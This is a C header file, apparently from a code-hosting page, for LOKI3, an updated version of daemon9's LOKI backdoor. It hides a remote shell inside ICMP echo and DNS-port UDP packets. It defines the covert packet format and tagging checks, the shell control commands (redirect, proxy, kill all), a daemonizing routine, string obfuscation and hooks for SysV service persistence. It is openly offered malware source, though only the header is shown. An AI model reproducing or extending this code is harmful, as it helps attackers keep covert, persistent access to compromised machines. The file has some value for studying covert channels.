1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
|
#pragma once
/*
* LOKI3
*
* loki header file
*
* 1996/7 Guild Corporation Productions [daemon9]
*/
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <pwd.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <time.h>
#include <grp.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <setjmp.h>
#include <stdint.h>
#include "cstrobf.h"
#ifdef LINUX
#include <netinet/ip.h> /* musl doesn't supply linux/icmp.h or linux/ip.h */
#define ICMP_ECHO 8
#define ICMP_ECHOREPLY 0
/* BSDish nomenclature */
#define ip iphdr
#define ip_v version
#define ip_hl ihl
#define ip_len tot_len
#define ip_ttl ttl
#define ip_p protocol
#define ip_dst daddr
#define ip_src saddr
#endif /* LINUX */
#ifdef BSD4
#include <netinet/in_systm.h>
#include <netinet/ip_var.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/tcpip.h>
#include <netinet/ip_icmp.h>
#include <netinet/icmp_var.h>
#include <sys/sockio.h>
#include <sys/termios.h>
#include <sys/signal.h>
#undef icmp_id
#undef icmp_seq
#define ip_dst ip_dst.s_addr
#define ip_src ip_src.s_addr
#endif
#ifdef SOLARIS
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip_var.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/tcpip.h>
#include <netinet/ip_icmp.h>
#include <netinet/icmp_var.h>
#include <sys/sockio.h>
#include <sys/termios.h>
#include <sys/signal.h>
#include <strings.h>
#include <unistd.h>
#undef icmp_id
#undef icmp_seq
#define ip_dst ip_dst.s_addr
#define ip_src ip_src.s_addr
#endif
#ifdef BROKEN_IP_LEN
#define FIX_LEN(n) (x) /* FreeBSD needs this */
#else
#define FIX_LEN(n) htons(n)
#endif
/*
* Net/3 will not pass ICMP_ECHO packets to user processes.
*/
#ifdef NET3
#define D_P_TYPE ICMP_ECHO
#define C_P_TYPE ICMP_ECHOREPLY
#else
#define D_P_TYPE ICMP_ECHOREPLY
#define C_P_TYPE ICMP_ECHO
#endif
#ifdef WEAK_CRYPTO
#define CRYPTO_TYPE "XOR"
#endif
#ifdef NO_CRYPTO
#define CRYPTO_TYPE "none"
#endif
/* Start user configurable options */
#define MIN_TIMEOUT 3 /* minimum client-side alarm timeout */
#define MAX_RETRAN 3 /* maximum client-side timeout/retry amount */
#define MAX_CLIENT 10 /* maximum server-side client count */
#define KEY_TIMER 600 /* maximum server-side idle client TTL */
/* End user configurable options */
#define VERSION "3.0"
#define BUFSIZE 0x38 /* We build packets with a fixed payload.
* Fine for ICMP_ECHO/ECHOREPLY packets as they
* often default to a 56 byte payload. However
* DNS query/reply packets have no set size and
* are generally oddly sized with no padding.
*/
#define ICMPH_SIZE 8
#define UDPH_SIZE 8
#define NL_PORT htons(0x35)
#define PROMPT "loki> "
#define ENCR 1 /* symbolic for encrypt */
#define DECR 0 /* symbolic for decrypt */
#define NOCR 1 /* don't encrypt this packet */
#define OKCR 0 /* encrypt this packet */
#define OK 1 /* Positive acknowledgement */
#define NOK 0 /* Negative acknowledgement */
#define NNOK -1 /* Really negative acknowledgement */
#define FIND 1 /* Controls locate_client */
#define DESTROY 2 /* disposition */
/* LOKI packet type symbolics */
#define L_TAG 0xf001 /* Tags packets as LOKI */
#define L_PK_REQ 0xa1 /* Public Key request packet */
#define L_PK_REPLY 0xa2 /* Public Key reply packet */
#define L_EOK 0xa3 /* Encrypted ok */
#define L_REQ 0xb1 /* Standard reuqest packet */
#define L_REPLY 0xb2 /* Standard reply packet */
#define L_ERR 0xc1 /* Error of some kind */
#define L_ACK 0xd1 /* Acknowledgement */
#define L_QUIT 0xd2 /* Receiver should exit */
#define L_EOT 0xf1 /* End Of Transmission packet */
/* Packet type printing macro */
#ifdef DEBUG
#define PACKET_TYPE(ldg)\
\
if (ldg.payload[0] == 0xa1) fprintf(stderr, "Public Key Request"); \
else if (ldg.payload[0] == 0xa2) fprintf(stderr, "Public Key Reply"); \
else if (ldg.payload[0] == 0xa3) fprintf(stderr, "Encrypted OK"); \
else if (ldg.payload[0] == 0xb1) fprintf(stderr, "Client Request"); \
else if (ldg.payload[0] == 0xb2) fprintf(stderr, "Server Reply"); \
else if (ldg.payload[0] == 0xc1) fprintf(stderr, "Error"); \
else if (ldg.payload[0] == 0xd1) fprintf(stderr, "ACK"); \
else if (ldg.payload[0] == 0xd2) fprintf(stderr, "QUIT"); \
else if (ldg.payload[0] == 0xf1) fprintf(stderr, "Server EOT"); \
else fprintf(stderr, "Unknown"); \
if (prot == IPPROTO_ICMP) fprintf(stderr, ", ICMP type: %d\n", ldg.ttype.icmph.icmp_type);\
else fprintf(stderr, "\n");\
#define DUMP_PACKET(ldg, i)\
\
for (i = 0; i < BUFSIZE; i++) fprintf(stderr, "0x%x ",ldg.payload[i]); \
fprintf(stderr, "\n");\
#endif
/*
* Escaped commands (not interpreted by the shell)
*/
#define HELP "/help" /* Help me */
#define TIMER "/timer" /* Change the client side timer */
#define QUIT_C "/quit" /* Quit the client */
#define QUIT_ALL "/quit all" /* Kill all clients and server */
#define STAT_C "/stat" /* Stat the client */
#define STAT_ALL "/stat all" /* Stat all the clients */
#define SWAP_T "/swapt" /* Swap protocols */
#define REDIR_C "/redirect" /* Redirect to another client */
#define PROXY_D "/proxy" /* Proxy to another server */
/*
* Control flag symbolics
*/
#define TERMINATE 0x01
#define TRAP 0x02
#define VALIDC 0x04
#define VALIDP 0x08
#define NEWTRANS 0x10
#define REDIRECT 0x20
#define PROXY 0x40
#define SENDKILL 0x80
/*
* Message Strings
* L_ == common to both server and client
* S_ == specific to server
* C_ == specific to client
*/
#define L_MSG_BANNER "\nLOKI3 dmfr [(c) 2019-3000 Elective Surgery]\n"
#define L_MSG_NOPRIV "\n[fatal] invalid user identification value"
#define L_MSG_SOCKET "[fatal] socket allocation error"
#define L_MSG_ICMPONLY "\nICMP protocol only with strong cryptography\n"
#define L_MSG_ATEXIT "[fatal] cannot register with atexit(2)"
#define L_MSG_DHKEYGEN "generating Diffie-Hellman parameters and keypair"
#define L_MSG_DHKGFAIL "\n[fatal] Diffie-Hellman key generation failure\n"
#define L_MSG_SIGALRM "[fatal] cannot catch SIGALRM"
#define L_MSG_SIGUSR1 "[fatal] cannot catch SIGUSR1"
#define L_MSG_WIERDERR "\n[SUPER fatal] control should NEVER fall here\n"
#define S_MSG_PACKED "\nlokid: server is currently at capacity. Try again later\n"
#define C_MSG_USAGE "\nloki -d dest -p (i|u) [ -v (0|1) ] [ -t (n>3) ]\n"
#define C_MSG_TIMEOUT "\nloki: no response from server (expired timer)\n"
#define C_MSG_MUSTQUIT "\nloki: received termination directive from server\n"
/*
* Macros to evaluate packets to determine if they are LOKI or not.
* These are UGLY.
*/
/*
* ICMP_ECHO client packet check
*/
#define IS_GOOD_ITYPE_C(ldg)\
\
(i_check((uint16_t *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) == 0 &&\
ldg.ttype.icmph.icmp_type == D_P_TYPE &&\
ldg.ttype.icmph.icmp_id == loki_id &&\
ldg.ttype.icmph.icmp_seq == L_TAG &&\
(ldg.payload[0] == L_REPLY ||\
ldg.payload[0] == L_PK_REPLY ||\
ldg.payload[0] == L_EOT ||\
ldg.payload[0] == L_QUIT ||\
ldg.payload[0] == L_ERR)) ==\
(1) ? (1) : (0)\
/*
* ICMP_ECHO daemon packet check
*/
#define IS_GOOD_ITYPE_D(ldg)\
\
(i_check((uint16_t *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) == 0 &&\
ldg.ttype.icmph.icmp_type == C_P_TYPE &&\
ldg.ttype.icmph.icmp_seq == L_TAG &&\
(ldg.payload[0] == L_REQ ||\
ldg.payload[0] == L_QUIT ||\
ldg.payload[0] == L_PK_REQ)) ==\
(1) ? (1) : (0)\
/*
* UDP client packet check
*/
#define IS_GOOD_UTYPE_C(ldg)\
\
(i_check((uint16_t *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) == 0 &&\
ldg.ttype.udph.uh_sport == NL_PORT &&\
ldg.ttype.udph.uh_dport == loki_id &&\
(ldg.payload[0] == L_REPLY ||\
ldg.payload[0] == L_EOT ||\
ldg.payload[0] == L_QUIT ||\
ldg.payload[0] == L_ERR)) ==\
(1) ? (1) : (0)\
/*
* UDP daemon packet check. Yikes. We need more info here.
*/
#define IS_GOOD_UTYPE_D(ldg)\
\
(i_check((uint16_t *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) == 0 &&\
ldg.ttype.udph.uh_dport == NL_PORT &&\
(ldg.payload[0] == L_QUIT ||\
ldg.payload[0] == L_REQ)) ==\
(1) ? (1) : (0)\
/*
* ICMP_ECHO / ICMP_ECHOREPLY header prototype
*/
struct icmp_echo {
uint8_t icmp_type; /* 1 byte type */
uint8_t icmp_code; /* 1 byte code */
uint16_t icmp_cksum; /* 2 byte checksum */
uint16_t icmp_id; /* 2 byte identification */
uint16_t icmp_seq; /* 2 byte sequence number */
};
/*
* UDP header prototype
*/
struct udp {
uint16_t uh_sport; /* 2 byte source port */
uint16_t uh_dport; /* 2 byte destination port */
uint16_t uh_ulen; /* 2 byte length */
uint16_t uh_sum; /* 2 byte checksum */
};
/*
* LOKI packet prototype
*/
struct loki {
struct ip iph; /* IP header */
union {
struct icmp_echo icmph; /* ICMP header */
struct udp udph; /* UDP header */
}ttype;
uint8_t payload[BUFSIZE]; /* data payload */
};
#define LOKIP_SIZE sizeof(struct loki)
#define LP_DST rdg.iph.ip_src
void blur(int, int, uint8_t *); /* Symmetric encryption function */
char *host_lookup(uint32_t); /* network byte -> human readable */
uint32_t name_resolve(char *); /* human readable -> network byte */
uint16_t i_check(uint16_t *, int); /* Ah yes, the IP family checksum */
int c_parse(uint8_t *, int *); /* parse escaped commands [client] */
void d_parse(uint8_t *, pid_t, int); /* parse escaped commands [server] */
/* build and transmit LOKI packets */
void loki_xmit(uint8_t *, uint16_t, int, struct sockaddr_in, int);
int lokid_xmit(uint8_t *, uint32_t, int, int);
void err_exit(int, int, int, char *); /* handle exit with reason */
void clean_exit(int); /* exit cleanly */
void help(); /* lala */
void shadow(); /* daemonizing routine */
void swap_t(int); /* swap protocols [server-side] */
void reaper(int); /* prevent zombies */
void catch_timeout(int); /* ALARM signal catcher */
void client_expiry_check(); /* expire client from shm */
void prep_shm(); /* Prepare shm ans semaphore */
void dump_shm(); /* detach shm */
void packets_read(); /* packets read (client) */
void fd_status(int, int); /* dumps fd stats */
#ifdef PERSISTENCE
void handle_sigterm(int); /* SIGTERM handler */
void unlink_persistence(); /* remove SysV service persistence */
#endif /* PERSISTENCE */
/* EOF */
|